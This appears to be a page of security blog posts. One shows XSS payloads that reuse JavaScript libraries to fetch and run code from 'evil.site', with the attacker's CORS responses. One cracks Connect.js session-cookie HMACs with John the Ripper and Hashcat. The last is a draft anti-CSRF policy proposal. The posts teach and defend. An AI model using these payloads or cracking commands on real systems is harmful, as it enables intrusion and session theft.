Posts (page 25 of 43)

  • Thief PHB

    In 1st edition AD&D two character classes had their own private languages: Druids and Thieves. Thus, a character could speak in Thieves’ Cant to identify peers, bargain, threaten, or otherwise discuss malevolent matters with a degree of secrecy. (Of course, Magic-Users had that troublesome first level spell comprehend languages, and Assassins of 9th level or higher could learn secret or alignment languages forbidden to others.)

    Thieves rely on subterfuge (and high DEX) to avoid unpleasant ends. Shakespeare didn’t make it into the list of inspirational reading in Appendix N of the DMG. Even so, consider in Henry VI, Part II, how the Duke of Gloucester (later to be Richard III) defends his treatment of certain subjects, with two notable exceptions:

    Unless it were a bloody murderer,

    Or foul felonious thief that fleec’d poor passengers,

    I never gave them condign punishment.

    Developers have their own spoken language for discussing code and coding styles. They litter conversations with terms of art like patterns and anti-patterns, which serve as shorthand for design concepts or litanies of caution. One such pattern is Don’t Repeat Yourself (DRY), of which Code Reuse is a lesser manifestation.

    Hackers code, too.

    The most boring of HTML injection examples is to display an alert() message. The second most boring is to insert the document.cookie value into a request. But this is the era of HTML5 and roses; hackers need look no further than a vulnerable Same Origin to find useful JavaScript libraries and functions.

    There are two important reasons for taking advantage of DRY in a web hack:

    1. Avoid inadequate deny lists (which is really a redundant term).
    2. Leverage code that already exists.

    Keep in mind that none of the following hacks are flaws of their respective JavaScript library. The target is assumed to have an HTML injection vulnerability – our goal is to take advantage of code already present on the hacked site in order to minimize our effort.

    For example, imagine an HTML injection vulnerability in a site that uses the AngularJS library. The attacker could use a payload like:

    angular.bind(self, alert, 9)()
    

    In Ember.js the payload might look like:

    Ember.run(null, alert, 9)
    

    The pervasive jQuery might have a string like:

    $.globalEval(alert(9))
    

    And the Underscore library might be leveraged with:

    _.defer(alert, 9)
    

    These are nice tricks. They might seem to do little more than offer fancy ways of triggering an alert() message, but the code is trivially modifiable to a more lethal version worthy of a vorpal blade.

    More importantly, these libraries provide the means to load – and execute! – JavaScript from a different origin. After all, browsers don’t really know the difference between a CDN and a malicious domain.

    The jQuery library provides a few ways to obtain code:

    $.get('//evil.site/') $('#selector').load('//evil.site')
    

    Prototype has an Ajax object. It will load and execute code from a call like:

    new Ajax.Request('//evil.site/')
    

    But this has a catch: the request includes “non-simple” headers via the XHR object and therefore triggers a CORS pre-flight check in modern browsers. An invalid pre-flight response will cause the attack to fail. Cross-Origin Resource Sharing is never a problem when you’re the one sharing the resource.

    In the Prototype Ajax example, a browser’s pre-flight might look like the following. The initiating request comes from a link we’ll call https://web.site/xss_vuln.page.

    OPTIONS https://evil.site/ HTTP/1.1
    Host: evil.site
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Origin: https://web.site
    Access-Control-Request-Method: POST
    Access-Control-Request-Headers: x-prototype-version,x-requested-with
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    Content-length: 0
    

    As someone with influence over the content served by evil.site, it’s easy to let the browser know that this incoming cross-origin XHR request is perfectly fine. Hence, we craft some code to respond with the appropriate headers:

    HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT
    Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26
    Access-Control-Allow-Origin: https://web.site
    Access-Control-Allow-Methods: GET, POST
    Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with
    Access-Control-Expose-Headers: x-json
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    

    With that out of the way, the browser continues its merry way to the cursed resource. We’ve done nothing to change the default behavior of the Ajax object, so it produces a POST. (Changing the method to GET would not have avoided the CORS pre-flight because the request would have still included custom X- headers.)

    POST https://evil.site/HWA/ch2/cors_payload.php HTTP/1.1
    Host: evil.site
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0
    Accept: text/javascript, text/html, application/xml, text/xml, \*/\*
    Accept-Language: en-US,en;q=0.5
    X-Requested-With: XMLHttpRequest
    X-Prototype-Version: 1.7.1
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://web.site/HWA/ch2/prototype_xss.php
    Content-Length: 0
    Origin: https://web.site
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    

    Finally, our site responds with CORS headers intact and a payload to be executed. We’ll be even lazier and tell the browser to cache the CORS response so it’ll skip subsequent pre-flights for a while.

    HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT
    Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26
    X-Powered-By: PHP/5.3.26
    Access-Control-Allow-Origin: https://web.site
    Access-Control-Allow-Methods: GET, POST
    Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with
    Access-Control-Expose-Headers: x-json
    Access-Control-Max-Age: 86400
    Content-Length: 10
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: application/javascript; charset=utf-8
    
    alert(9);
    

    Okay. So, it’s another alert() message. I suppose I’ve repeated myself enough on that topic for now.

    Find/Remove Traps

    It should be noted that Content Security Policy just might help you in this situation. The catch is that you need to have architected your site to remove all inline JavaScript. That’s not always an easy feat. Even experienced developers of major libraries like jQuery are struggling to create CSP-compatible content. Never the less, auditing and improving code for CSP is a worthwhile endeavor. Even 1st level thieves only have a 20% change to Find/Remove Traps. The chance doesn’t hit 50% until 7th level. Improvement takes time.

    And the price for failure? Well, it turns out condign punishment has its own API.

  • No Trespassing

    Oh, the secrets you’ll know if to GitHub you go. The phrases committed by coders exhibited a mistaken sense of security.

    A password ensures, while its secrecy endures, a measure of proven identity.

    Share that short phrase for the public to gaze at repositories open and clear. Then don’t be surprised at the attacker disguised with the secrets you thought were unknown.

    *sigh*

    It’s no secret that I gave a BlackHat presentation a few weeks ago. It’s no secret that the CSRF countermeasure we proposed avoids nonces, random numbers, and secrets. It’s no secret that GitHub is a repository of secrets.

    And that’s how I got side-tracked for two days hunting secrets on GitHub when I should have been working on slides.

    Your Secret

    Security that relies on secrets (like passwords) fundamentally relies on the preservation of that secret. There’s no hidden wisdom behind that truism, no subtle paradox to grant it the standing of a koan. It’s a simple statement too often ignored, bent, and otherwise abused.

    It started with research on examples of CSRF token implementations. But the hunt soon diverged from queries for connect.sid to tokens like OAUTH_CONSUMER_SECRET, to ssh:// and mongodb:// schemes. Such beasts of the wild had been noticed a few times – they tend to roam with little hindrance.

    connect.sid extension:js

    Sometimes these beasts leap from cover into the territory of plaintext. Sometimes they remain camouflaged behind hashes and ciphers. Crypto functions conceal the nature of a beast, but the patient hunter will be able to discover it given time.

    The mechanisms used to protect secrets, such as encryption and hash functions, are intended to maximize an attacker’s effort at trying to reverse-engineer the secret. The choice of hash function has no appreciable effect on a dictionary-based brute force attack (at least not until your dictionary or a hybrid-based approach reaches the size of the target keyspace). In the long run of an exhaustive brute force search, a “bigger” hash like SHA-512 would take longer than SHA-256 or MD5. But that’s not the smart way to increase the attacker’s work factor.

    Iterated hashing techniques are more effective at increasing the attacker’s work factor. Such techniques have a tunable property that may be adjusted with regard to the expected cracking speeds of an attacker. For example, in the PBKDF2 algorithm, both the HMAC algorithm and number of rounds can be changed, so an HMAC-SHA1 could be replaced by HMAC-SHA256 and 1,000 rounds could be increased to 10,000. (The changes would not be compatible with each other, so you would still need a migration plan when moving from one setting to another.)

    Of course, the choice of work factor must be balanced with a value you’re willing to encumber the site with. The number of “nonce” events for something like CSRF is far more frequent than the number of “hash” events for authentication. For example, a user may authenticate once in a one-hour period, but visit dozens of pages during that same time.

    Our Secret

    But none of that matters if you’re relying on a secret that’s easy to guess, like default passwords. And it doesn’t matter if you’ve chosen a nice, long passphrase that doesn’t appear in any dictionary if you’ve checked that password into a public source code repository.

    In honor of the password cracking chapter of the upcoming AHTK 4th Edition, we’ll briefly cover how to guess HMAC values.

    We’ll use the Connect JavaScript library for Node.js as a target for this guesswork. It contains a CSRF countermeasure that relies on nonces generated via an HMAC. This doesn’t mean Connect.js implements the HMAC algorithm incorrectly or contains a design error. It just means that the security of an HMAC relies on the secrecy of its password.

    Here’s a snippet of the Connect.js code in action. Note the default secret, keyboard cat.

    ... var app = connect()
          .use(connect.cookieParser())
          .use(connect.session({ secret: 'keyboard cat' }))
          .use(connect.bodyParser())
          .use(connect.csrf())
    ...
    

    If you come across a web app that sets a connect.sess or connect.sid cookie, then it’s likely to have been created by this library. And it’s just as likely to be using a bad password for the HMAC. Let’s put that to the test with the following cookies.

    Set-Cookie: connect.sess=s%3AGY4Xp1AWB5PVzYHCANaXHznO.
    PUvao3Y6%2FXxLAG%2Bp4xQEBAcbqMCJPACQUvS2WCfsmKU; Path=/;
    Expires=Fri, 28 Jun 2013 23:13:52 GMT; HttpOnly
    
    Set-Cookie: connect.sid=s%3ATdF%2FriiKHfdilCTc4W5uAAhy.
    qTtH9ZL5pxgClGbZ0I0E3efJTrdC0jia6YxFh3cWKrU; path=/;
    expires=Fri, 28 Jun 2013 22:51:58 GMT; httpOnly
    
    Set-Cookie: connect.sid=CJVZnS56R6NY8kenBhhIOq0h.
    0opeJzAPZ3efz0dw5YJrGqVv4Fi%2BWVIThEsGHMRqDw0; Path=/; HttpOnly
    

    Everyone’s Secret

    John the Ripper is a venerable password guessing tool with ancient roots in the security community. Its rule-based guessing techniques and speed make it a powerful tool for cracking passwords. In this case, we’re just interested in its ability to target the HMAC-SHA256 algorithm.

    First, we need to reformat the cookies into a string that John recognizes. For these cookies, resolve the percent-encoded characters, replace the dot (.) with a hash (#). Some of the cookies contained a JSON-encoded version of the session value, others contained only the session value.

    GY4Xp1AWB5PVzYHCANaXHznO#3d4bdaa3763afd7c4b006fa9e3140404071ba8c0893c009052f4b65827ec98a5
    TdF/riiKHfdilCTc4W5uAAhy#a93b47f592f9a718029466d9d08d04dde7c94eb742d2389ae98c458777162ab5
    CJVZnS56R6NY8kenBhhIOq0h#d28a5e27300f67779fcf4770e5826b1aa56fe058be595213844b061cc46a0f0d
    

    Next, we unleash John against it. The first step might use a dictionary, such as a words.txt file you might have laying around. (The book covers more techniques and clever use of rules to target password patterns. John’s own documentation can also get you started.)

    $ ./john --format=hmac-sha256 --wordlist=words.txt sids.john
    

    Review your successes with the --show option.

    $ ./john --show sids.john
    

    Hashcat is another password guessing tool. It takes advantage of GPU processors to emphasize rate of guesses. It requires a slightly different format for the HMAC-256 input file. The order of the password and salt is reversed from John, and it requires a colon separator.

    3d4bdaa3763afd7c4b006fa9e3140404071ba8c0893c009052f4b65827ec98a5:GY4Xp1AWB5PVzYHCANaXHznO
    a93b47f592f9a718029466d9d08d04dde7c94eb742d2389ae98c458777162ab5:TdF/riiKHfdilCTc4W5uAAhy
    d28a5e27300f67779fcf4770e5826b1aa56fe058be595213844b061cc46a0f0d:CJVZnS56R6NY8kenBhhIOq0h
    

    Hashcat uses numeric references to the algorithms it supports. The following command runs a dictionary attack against hash algorithm 1450, which is HMAC-SHA256.

    $ ./hashcat-cli64.app -a 0 -m 1450 sids.hashcat words.txt
    

    Review your successes with the --show option.

    $ ./hashcat-cli64.app --show -a 0 -m 1450 sids.hashcat words.txt
    

    All sorts of secrets lurk in GitHub. Of course, the fundamental problem is that they shouldn’t be there in the first place. There are many more types of secrets than hashed passphrases, too.

  • No notes are so disjointed as the ones skulking about my brain as I was preparing slides for last week’s BlackHat presentation. I’ve now wrangled them into a mostly coherent write-up.

    This won’t be the last post on this topic. I’ll be doing two things over the next few weeks: throwing a doc into github to track changes/recommendations/etc., responding to more questions, working on a different presentation, and trying to stick to the original plan (i.e. two things). Oh, and getting better at MarkDown.

    So, turn up some Jimi Hendrix, play some BSG in the background, and read on.

    == The Problem ==

    Cross-Site Request Forgery (CSRF) abuses the normal ability of browsers to make cross-origin requests by crafting a resource on one origin that causes a victim’s browser to make a request to another origin using the victim’s security context associated with that target origin.

    The attacker creates and places a malicious resource on an origin unrelated to the target origin to which the victim’s browser will make a request. The malicious resource contains content that causes a browser to make a request to the unrelated target origin. That request contains parameters selected by the attacker to affect the victim’s security context with regard to the target origin.

    The attacker does not need to violate the browser’s Same Origin Policy to generate the cross origin request. Nor does the attack require reading the response from the target origin. The victim’s browser automatically includes cookies associated with the target origin for which the forged request is being made. Thus, the attacker creates an action, the browser requests the action and the target web application performs the action under the context of the cookies it receives – the victim’s security context. An effective CSRF attack means the request modifies the victim’s context with regard to the web application in a way that’s favorable to the attacker. For example, a CSRF attack may change the victim’s password for the web application.

    CSRF takes advantage of web applications that fail to enforce strong authorization of actions during a user’s session. The attack relies on the normal, expected behavior of web browsers to make cross-origin requests from resources they load on unrelated origins.

    The browser’s Same Origin Policy prevents a resource in one origin to read the response from an unrelated origin. However, the attack only depends on the forged request being submitted to the target web app under the victim’s security context – it does not depend on receiving or seeing the target app’s response.

    == The Proposed Solution ==

    SOS is proposed an additional policy type of the Content Security Policy. Its behavior also includes pre-flight behavior as used by the Cross Origin Resource Sharing spec.

    SOS isn’t just intended as a catchy an acronym. The name is intended to evoke the SOS of Morse code, which is both easy to transmit and easy to understand. If it is required to explain what SOS stands for, then “Session Origin Security” would be preferred. (However, “Simple Origin Security”, “Some Other Security”, and even “Save Our Site” are acceptable. “Same Old Stuff” is discouraged. More options are left to the reader.)

    An SOS policy may be applied to one or more cookies for a web application on a per-cookie or collective basis. The policy controls whether the browser includes those cookies during cross-origin requests. (A cross-origin resource cannot access a cookie from another origin, but it may generate a request that causes the cookie to be included.)

    == Format ==

    A web application sets a policy by including a Content-Security-Policy response header. This header may accompany the response that includes the Set-Cookie header for the cookie to be covered, or it may be set on a separate resource.

    A policy for a single cookie would be set as follows, with the cookieName of the cookie and a directive of 'any', 'self', or 'isolate'. (Those directives will be defined shortly.)

    Content-Security-Policy: sos-apply=_cookieName_ '_policy_'

    A response may include multiple CSP headers, such as:

    Content-Security-Policy: sos-apply=_cookieOne_ '_policy_'
    Content-Security-Policy: sos-apply=_cookieTwo_ '_policy_'
    

    A policy may be applied to all cookies by using a wildcard:

    Content-Security-Policy: sos-apply=* '_policy_'

    == Policies ==

    One of three directives may be assigned to a policy. The directives affect the browser’s default handling of cookies for cross-origin requests to a cookie’s destination origin. The pre-flight concept will be described in the next section; it provides a mechanism for making exceptions to a policy on a per-resource basis.

    Policies are only invoked for cross-origin requests. Same origin requests are unaffected.

    'any' – include the cookie. This represents how browsers currently work. Make a pre-flight request to the resource on the destination origin to check for an exception response.

    'self' – do not include the cookie. Make a pre-flight request to the resource on the destination origin to check for an exception response.

    'isolate' – never include the cookie. Do not make a pre-flight request to the resource because no exceptions are allowed.

    == Pre-Flight ==

    A browser that is going to make a cross-origin request that includes a cookie covered by a policy of 'any' or 'self' must make a pre-flight check to the destination resource before conducting the request. (A policy of 'isolate' instructs the browser to never include the cookie during a cross-origin request.)

    The purpose of a pre-flight request is to allow the destination origin to modify a policy on a per-resource basis. Thus, certain resources of a web app may allow or deny cookies from cross-origin requests despite the default policy.

    The pre-flight request works identically to that for Cross Origin Resource Sharing, with the addition of an Access-Control-SOS header. This header includes a space-delimited list of cookies that the browser might otherwise include for a cross-origin request, as follows:

    Access-Control-SOS: cookieOne CookieTwo

    A pre-flight request might look like the following, note that the Origin header is expected to be present as well:

    OPTIONS https://web.site/resource HTTP/1.1
    Host: web.site
    Origin: https://other.origin
    Access-Control-SOS: sid
    Connection: keep-alive
    Content-Length: 0
    

    The destination origin may respond with an Access-Control-SOS-Reply header that instructs the browser whether to include the cookie(s). The response will either be 'allow' or 'deny'.

    The response header may also include an expiration in seconds. The expiration allows the browser to remember this response and forego subsequent pre-flight checks for the duration of the value.

    The following example would allow the browser to include a cookie with a cross-origin request to the destination origin even if the cookie’s policy had been 'self’. (In the absence of a reply header, the browser would not include the cookie.)

    Access-Control-SOS-Reply: 'allow' expires=600

    The following example would deny the browser to include a cookie with a cross-origin request to the destination origin even if the cookie’s policy had been 'any'. (In the absence of a reply header, the browser would include the cookie.)

    Access-Control-SOS-Reply: 'deny' expires=0

    The browser would be expected to track policies and policy exceptions based on destination origins. It would not be expected to track pairs of origins (e.g. different cross-origins to the destination) since such a mapping could easily become cumbersome, inefficient, and more prone to abuse or mistakes.

    As described in this section, the pre-flight is an all-or-nothing affair. If multiple cookies are listed in the Access-Control-SOS header, then the response applies to all of them. This might not provide enough flexibility. On the other hand, simplicity tends to encourage security.

    == Benefits ==

    Note that a policy can be applied on a per-cookie basis. If a policy-covered cookie is disallowed, any non-covered cookies for the destination origin may still be included. Think of a non-covered cookie as an unadorned or “naked” cookie – their behavior and that of the browser matches the web of today.

    The intention of a policy is to control cookies associated with a user’s security context for the destination origin. For example, it would be a good idea to apply 'self' to a cookie used for authorization (and identification, depending on how tightly coupled those concepts are by the app’s reliance on the cookie).

    Imagine a Wordpress installation hosted at https://web.site/. The site’s owner wishes to allow anyone to visit, especially when linked-in from search engines, social media, and other sites of different origins. In this case, they may define a policy of 'any' set by the landing page:

    Content-Security-Policy: sos-apply=sid 'any'

    However, the /wp-admin/ directory represents sensitive functions that should only be accessed by intention of the user. Wordpress provides a robust nonce-based anti-CSRF token. Unfortunately, many plugins forget to include these nonces and therefore become vulnerable to attack. Since the site owner has set a policy for the sid cookie (which represents the session ID), they could respond to any pre-flight request to the /wp-admin/ directory as follows:

    Access-Control-SOS-Reply: 'deny' expires=86400

    Thus, the /wp-admin/ directory would be protected from CSRF exploits because a browser would not include the sid cookie with a forged request.

    The use case for the 'isolate' policy is straight-forward: the site does not expect any cross-origin requests to include cookies related to authentication or authorization. A bank or web-based email might desire this behavior. The intention of isolate is to avoid the requirement for a pre-flight request and to forbid exceptions to the policy.

    == Notes ==

    This is a draft. The following thoughts represent some areas that require more consideration or that convey some of the motivations behind this proposal.

    This is intended to affect cross-origin requests made by a browser.

    It is not intended to counter same-origin attacks such as HTML injection (XSS) or intermediation attacks such as sniffing. Attempting to solve multiple problems with this policy leads to folly.

    CSRF evokes two sense of the word “forgery”: creation and counterfeiting. This approach doesn’t inhibit the creation of cross-origin requests (although something like “non-simple” XHR requests and CORS would). Nor does it inhibit the counterfeiting of requests, such as making it difficult for an attacker to guess values. It defeats CSRF by blocking a cookie that represents the user’s security context from being included in a cross-origin request the user likely didn’t intend to make.

    There may be a reason to remove a policy from a cookie, in which case a CSP header could use something like an sos-remove instruction:

    Content-Security-Policy: sos-remove=cookieName

    Cryptographic constructs are avoided on purpose. Even if designed well, they are prone to implementation error. They must also be tracked and verified by the app, which exposes more chances for error and induces more overhead. Relying on nonces increases the difficulty of forging (as in counterfeiting) requests, whereas this proposed policy defines a clear binary of inclusion/exclusion for a cookie. A cookie will or will not be included vs. a nonce might or might not be predicted.

    PRNG values are avoided on purpose, for the same reasons as cryptographic nonces. It’s worth noting that misunderstanding the difference between a random value and a cryptographically secure PRNG (which a CSRF token should favor) is another point against a PRNG-based control.

    A CSP header was chosen in favor of decorating the cookie with new attributes because cookies are already ugly, clunky, and (somewhat) broken enough. Plus, the underlying goal is to protect a session or security context associated with a user. As such, there might be reason to extended this concept to the instantiation of Web Storage objects, e.g. forbid them in mixed-origin resources. However, this hasn’t really been thought through and probably adds more complexity without solving an actual problem.

    The pre-flight request/response shouldn’t be a source of information leakage about cookies used by the app. At least, it shouldn’t provide more information than might be trivially obtained through other techniques.

    It’s not clear what an ideal design pattern would be for deploying SOS headers. A policy could accompany each Set-Cookie header. Or the site could use a redirect or similar bottleneck to set policies from a single resource.

    It would be much easier to retrofit these headers on a legacy app by using a Web App Firewall than it would be trying to modify code to include nonces everywhere.

    It would be (possibly) easier to audit a site’s protection based on implementing the headers via mod_rewrite tricks or WAF rules that apply to whole groups of resources than it would for a code audit of each form and action.

    The language here tilts (too much) towards formality, but the terms and usage haven’t been vetted yet to adhere to those in HTML, CSP and CORS. The goal right now is clarity of explanation; pedantry can wait.

    == Cautions ==

    In addition to the previous notes, these are highlighted as particular concerns.

    Conflicting policies would cause confusion. For example, two different resources separately define an 'any' and 'self' for the same cookie. It would be necessary to determine which receives priority.

    Cookies have the unfortunate property that they can belong to multiple origins (i.e. sub-domains). Hence, some apps might incur additional overhead of pre-flight requests or complexity in trying to distinguish cross-origin of unrelated domains and cross-origin of sub-domains.

    Apps that rely on “Return To” URL parameters might not be fixed if the return URL has the CSRF exploit and the browser is now redirecting from the same origin. Maybe. This needs some investigation.

    There’s no migration for old browsers: You’re secure (using a supporting browser and an adopted site) or you’re not. On the other hand, an old browser is an insecure browser anyway – browser exploits are more threatening than CSRF for many, many cases.

    There’s something else I forgot to mention that I’m sure I’ll remember tomorrow.

    I’ll leave you with this quote from the last episode of BSG. Thanks for reading!

    Six: All of this has happened before.

    Baltar: But the question remains, does all of this have to happen again?